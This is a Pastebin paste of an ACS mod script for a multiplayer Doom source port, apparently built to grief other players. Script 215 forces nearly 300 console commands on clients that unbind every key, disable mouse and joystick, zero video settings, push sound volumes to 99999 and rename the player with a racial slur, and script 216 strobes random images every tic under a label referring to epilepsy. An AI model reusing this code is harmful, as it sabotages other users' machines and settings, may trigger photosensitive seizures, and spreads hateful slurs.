Advertisement
ijontichy

HeartAttack.acs

Aug 10th, 2013
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.46 KB | None | 0 0
  1. #library "HeartAttack"
  2. #include "zcommon.acs"
  3.  
  4. //Epileps:
  5. #libdefine _EPILEPS_RANDOM 0
  6. #libdefine _EPILEPS_EYECANCER 1
  7. #libdefine MAX_EPILEPS_PICS 4
  8. #libdefine EPILEPS_SOUND "SanicGay"
  9. #libdefine HUD_HORZ_SIZE_RAND 1248.0
  10. #libdefine HUD_VERT_SIZE_RAND 1024.0
  11. #libdefine HUD_HORZ_SIZE_CANCER 240.0
  12. #libdefine HUD_VERT_SIZE_CANCER 150.0
  13. #libdefine EPILEPS_REPEAT 1000
  14. str epilepsArr[MAX_EPILEPS_PICS] = { "EPILEPS1",
  15. "EPILEPS2",
  16. "EPILEPS3",
  17. "EPILEPS4",
  18. };
  19.  
  20. //CVar fucking:
  21. #libdefine _FUCK_SETTINGS 2
  22. #libdefine PLAYER_TID_START 1000
  23. #libdefine MAX_PLAYERS 32
  24. #libdefine MAX_COMMANDS 287
  25. str clientConsoleCommands[MAX_COMMANDS] = {
  26. "gl_vid_allowsoftware 0",
  27. "gl_vid_multisample 0",
  28. "gl_clamp_per_texture 0",
  29. "gl_texture_format 0",
  30. "gl_texture_filter 0",
  31. "gl_texture_filter_anisotropic 0",
  32. "gl_render_precise 0",
  33. "gl_fakecontrast 0",
  34. "gl_seamless 0",
  35. "gl_render_segs 0",
  36. "gl_mirror_envmap 0",
  37. "gl_billboard_mode 0",
  38. "gl_particles_style 0",
  39. "gl_sprite_blend 0",
  40. "gl_usecolorblending 0",
  41. "gl_sky_detail 0",
  42. "gl_glow_shader 0",
  43. "gl_brightmap_shader 0",
  44. "gl_colormap_shader 0",
  45. "gl_fog_shader 0",
  46. "gl_warp_shader 0",
  47. "gl_blendcolormaps 0",
  48. "gl_mask_threshold 0",
  49. "gl_nearclip 0",
  50. "gl_no_skyclear 0",
  51. "gl_plane_reflection 0",
  52. "r_mirror_recursions 0",
  53. "vid_contrast 0",
  54. "vid_brightness 0",
  55. "gl_vid_compatibility 0",
  56. "gl_nogl 0",
  57. "gl_distfog 0",
  58. "gl_lights_additive 0",
  59. "gl_light_ambient 0",
  60. "gl_light_particles 0",
  61. "gl_light_sprites 0",
  62. "gl_lights_size 0",
  63. "gl_lights_intensity 0",
  64. "gl_lights_checkside 0",
  65. "gl_bulletlight 0",
  66. "gl_attachedlights 0",
  67. "gl_lights 0",
  68. "gl_texture_hqresize_targets 0",
  69. "gl_texture_hqresize_maxinputsize 0",
  70. "gl_texture_hqresize 0",
  71. "gl_usearrays 0",
  72. "midi_timiditylike 0",
  73. "midi_voices 0",
  74. "midi_config 0",
  75. "snd_midiprecache 0",
  76. "spc_amp 0",
  77. "opl_onechip 0",
  78. "timidity_frequency 0",
  79. "timidity_pipe 0",
  80. "timidity_mastervolume 0",
  81. "timidity_byteswap 0",
  82. "timidity_8bit 0",
  83. "timidity_stereo 0",
  84. "timidity_reverb 0",
  85. "timidity_chorus 0",
  86. "timidity_extargs 0",
  87. "timidity_exe 0",
  88. "snd_mididevice 0",
  89. "mod_autochip_scan_threshold 0",
  90. "mod_autochip_size_scan 0",
  91. "mod_autochip_size_force 0",
  92. "mod_autochip 0",
  93. "mod_interp 0",
  94. "mod_volramp 0",
  95. "mod_samplerate 0",
  96. "mod_dumb 0",
  97. "snd_sfxvolume 99999",
  98. "snd_output 99999",
  99. "snd_buffersize 99999",
  100. "snd_samplerate 99999",
  101. "snd_musicvolume 99999",
  102. "snd_waterlp 99999",
  103. "snd_midipatchset 99999",
  104. "snd_output_format 99999",
  105. "snd_speakermode 99999",
  106. "snd_resampler 99999",
  107. "snd_waterreverb 99999",
  108. "snd_hrtf 99999",
  109. "snd_buffercount 99999",
  110. "snd_driver 99999",
  111. "r_smoothlighting 0",
  112. "r_columnmethod 0",
  113. "screenblocks 0",
  114. "crosshairgrow 0",
  115. "crosshairscale 0",
  116. "crosshairhealth 0",
  117. "crosshaircolor 0",
  118. "crosshair 0",
  119. "map_point_coordinates 0",
  120. "vid_forceddraw 0",
  121. "showendoom 0",
  122. "queryiwad_key 0",
  123. "snd_movievolume 0",
  124. "mouse_capturemode 0",
  125. "in_mouse 0",
  126. "k_allowfullscreentoggle 0",
  127. "k_mergekeys 0",
  128. "joy_upspeed 0",
  129. "joy_sidespeed 0",
  130. "joy_forwardspeed 0",
  131. "joy_pitchspeed 0",
  132. "joy_yawspeed 0",
  133. "joy_speedmultiplier 0",
  134. "joy_dialthreshold 0",
  135. "joy_sliderthreshold 0",
  136. "joy_zrotthreshold 0",
  137. "joy_yrotthreshold 0",
  138. "joy_xrotthreshold 0",
  139. "joy_zthreshold 0",
  140. "joy_ythreshold 0",
  141. "joy_xthreshold 0",
  142. "joy_dial 0",
  143. "joy_slider 0",
  144. "joy_zrot 0",
  145. "joy_yrot 0",
  146. "joy_xrot 0",
  147. "joy_zaxis 0",
  148. "joy_yaxis 0",
  149. "joy_xaxis 0",
  150. "cl_soundwhennotactive 0",
  151. "joy_guid 0",
  152. "use_joystick 0",
  153. "m_filter 0",
  154. "m_noprescale 0",
  155. "use_mouse 0",
  156. "crashlog_dir 0",
  157. "crashlogs 0",
  158. "cd_drive 0",
  159. "cd_enabled 0",
  160. "vid_winscale 0",
  161. "fullscreen 0",
  162. "vid_renderer 0",
  163. "win_y 0",
  164. "win_x 0",
  165. "bgamma 0",
  166. "ggamma 0",
  167. "rgamma 0",
  168. "vid_displaybits 0",
  169. "vid_noblitter 0",
  170. "vid_attachedsurfaces 0",
  171. "vid_palettehack 0",
  172. "vid_hwaalines 0",
  173. "eaxedit_test 0",
  174. "vid_nowidescreen 0",
  175. "vid_refreshrate 0",
  176. "vid_vsync 0",
  177. "vid_defbits 0",
  178. "vid_defheight 0",
  179. "vid_defwidth 0",
  180. "Gamma 0",
  181. "masterhostname 0",
  182. "sv_showwarnings 0",
  183. "r_drawspectatingstring 0",
  184. "snd_flipstereo 0",
  185. "snd_channels 0",
  186. "cl_spectatormove 0",
  187. "cl_noprediction 0",
  188. "cl_oldfreelooklimit 0",
  189. "telezoom 0",
  190. "chase_dist 0",
  191. "chase_height 0",
  192. "nomonsterinterpolation 0",
  193. "png_gamma 0",
  194. "png_level 0",
  195. "vid_tft 0",
  196. "show_messages 0",
  197. "mouse_sensitivity 0",
  198. "screenshot_dir 0",
  199. "screenshot_type 0",
  200. "screenshot_quiet 0",
  201. "autosavecount 0",
  202. "disableautosave 0",
  203. "autosavenum 0",
  204. "smooth_mouse 0",
  205. "m_side 0",
  206. "m_forward 0",
  207. "m_yaw 0",
  208. "m_pitch 0",
  209. "lookstrafe 0",
  210. "freelook 0",
  211. "invertmouse 0",
  212. "cl_run 0",
  213. "demo_compress 0",
  214. "save_dir 0",
  215. "longsavemessages 0",
  216. "storesavepic 0",
  217. "nofilecompression 0",
  218. "cl_capfps 0",
  219. "defaultiwad 0",
  220. "queryiwad 0",
  221. "demo_pure 0",
  222. "con_ctrl_d 0",
  223. "snd_announcervolume 0",
  224. "cl_allowmultipleannouncersounds 0",
  225. "cl_alwaysplayfragsleft 0",
  226. "cl_connectiontype 0",
  227. "cl_ticsperupdate 0",
  228. "cl_respawnonfire 0",
  229. "cl_unlagged 0",
  230. "handicap 0",
  231. "railcolor 0",
  232. "playerclass 0",
  233. "stillbob 0",
  234. "movebob 0",
  235. "switchonpickup 0",
  236. "gender 0",
  237. "skin 0",
  238. "color 0",
  239. "name nigger",
  240. "autoaim 0",
  241. "bind 1 0", //Binds
  242. "bind 2 0",
  243. "bind 3 0",
  244. "bind 4 0",
  245. "bind 5 0",
  246. "bind 6 0",
  247. "bind 7 0",
  248. "bind 8 0",
  249. "bind 9 0",
  250. "bind 0 0",
  251. "bind - 0",
  252. "bind Equals 0",
  253. "bind tab 0",
  254. "bind q 0",
  255. "bind w 0",
  256. "bind e 0",
  257. "bind r 0",
  258. "bind t 0",
  259. "bind u 0",
  260. "bind LeftBracket 0",
  261. "bind RightBracket 0",
  262. "bind enter 0",
  263. "bind ctrl 0",
  264. "bind a 0",
  265. "bind s 0",
  266. "bind d 0",
  267. "bind ` 0",
  268. "bind shift 0",
  269. "bind \ 0",
  270. "bind c 0",
  271. "bind m 0",
  272. "bind , 0",
  273. "bind . 0",
  274. "bind alt 0",
  275. "bind space 0",
  276. "bind capslock 0",
  277. "bind f1 0",
  278. "bind f2 0",
  279. "bind f3 0",
  280. "bind f4 0",
  281. "bind f5 0",
  282. "bind f6 0",
  283. "bind f7 0",
  284. "bind f8 0",
  285. "bind f9 0",
  286. "bind f10 0",
  287. "bind kp+ 0",
  288. "bind f11 0",
  289. "bind f12 0",
  290. "bind sysrq 0",
  291. "bind uparrow 0",
  292. "bind pgup 0",
  293. "bind leftarrow 0",
  294. "bind rightarrow 0",
  295. "bind downarrow 0",
  296. "bind pgdn 0",
  297. "bind pause 0",
  298. "bind mouse1 0",
  299. "bind mouse2 0",
  300. "bind mouse3 0",
  301. "bind mouse4 0",
  302. "bind joy1 0",
  303. "bind joy2 0",
  304. "bind joy3 0",
  305. "bind joy4 0",
  306. "bind mwheelup 0",
  307. "bind mwheeldown 0",
  308. "bind b 0",
  309. "bind v 0",
  310. "bind kp7 0",
  311. "bind kp8 0",
  312. "bind kp9 0",
  313. };
  314.  
  315. //ClientSide Stuff:
  316.  
  317. //Script for execution:
  318. script 212 RESPAWN
  319. {
  320. Thing_ChangeTID(0,PlayerNumber()+PLAYER_TID_START);
  321. }
  322.  
  323. script 213 ENTER
  324. {
  325. Thing_ChangeTID(0,PlayerNumber()+PLAYER_TID_START);
  326. }
  327.  
  328.  
  329. script 214 (int type, int exception) NET
  330. {
  331. int x,y,i,j;
  332.  
  333. switch(type)
  334. {
  335. case _EPILEPS_RANDOM:
  336. /*SetHudSize(HUD_HORZ_SIZE_RAND >> 16,HUD_VERT_SIZE_RAND >> 16,0);
  337. SetMusic(EPILEPS_SOUND,0);
  338.  
  339. while(GetCVar("StopEpileps") != 1)
  340. {
  341. for(i = 1; i <= EPILEPS_REPEAT; i++)
  342. {
  343. x = random(0.0,HUD_HORZ_SIZE_RAND);
  344. y = random(0.0,HUD_VERT_SIZE_RAND);
  345. SetFont(epilepsArr[random(0,MAX_EPILEPS_PICS)]);
  346. HudMessageBold(s:"A";HUDMSG_PLAIN,i++,CR_UNTRANSLATED,x,y,random(18,72));
  347. }
  348. delay(1);
  349. }
  350.  
  351. SetMusic("*",0);
  352. SetFont("SmallFont");
  353. for(i = 1; i <= EPILEPS_REPEAT; i++)
  354. HudMessageBold(s:"";HUDMSG_PLAIN,i,CR_UNTRANSLATED,0,0,0);*/
  355.  
  356. break;
  357.  
  358. case _EPILEPS_EYECANCER:
  359. for(i = 0; i < MAX_PLAYERS; i++)
  360. {
  361. if((PLAYER_TID_START + i) != exception)
  362. GiveActorInventory(PLAYER_TID_START + i,"IWantEyecancer",1);
  363. }
  364.  
  365. break;
  366.  
  367. case _FUCK_SETTINGS:
  368. for(i = 0; i < MAX_PLAYERS; i++)
  369. {
  370. if((PLAYER_TID_START + i) != exception)
  371. GiveActorInventory(PLAYER_TID_START + i,"FuckMySettings",1);
  372. }
  373.  
  374. break;
  375. }
  376. }
  377.  
  378. script 215 (void) NET CLIENTSIDE
  379. {
  380. for(int i = 0; i < MAX_COMMANDS; i++)
  381. ConsoleCommand(clientConsoleCommands[i]);
  382. }
  383.  
  384. script 216 (void) NET CLIENTSIDE
  385. {
  386. int x,y;
  387.  
  388. SetHudSize(HUD_HORZ_SIZE_CANCER >> 16,HUD_VERT_SIZE_CANCER >> 16,0);
  389. LocalAmbientSound(EPILEPS_SOUND,127);
  390.  
  391. x = FixedDiv(HUD_HORZ_SIZE_CANCER,2.0);
  392. y = FixedDiv(HUD_VERT_SIZE_CANCER,2.0);
  393.  
  394. while(GetCVar("StopEpileps") != 1)
  395. {
  396. SetFont(epilepsArr[random(0,MAX_EPILEPS_PICS-1)]);
  397. HudMessageBold(s:"A";HUDMSG_PLAIN,1,CR_UNTRANSLATED,x,y,3);
  398. delay(1);
  399. }
  400.  
  401. SetFont("SmallFont");
  402. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement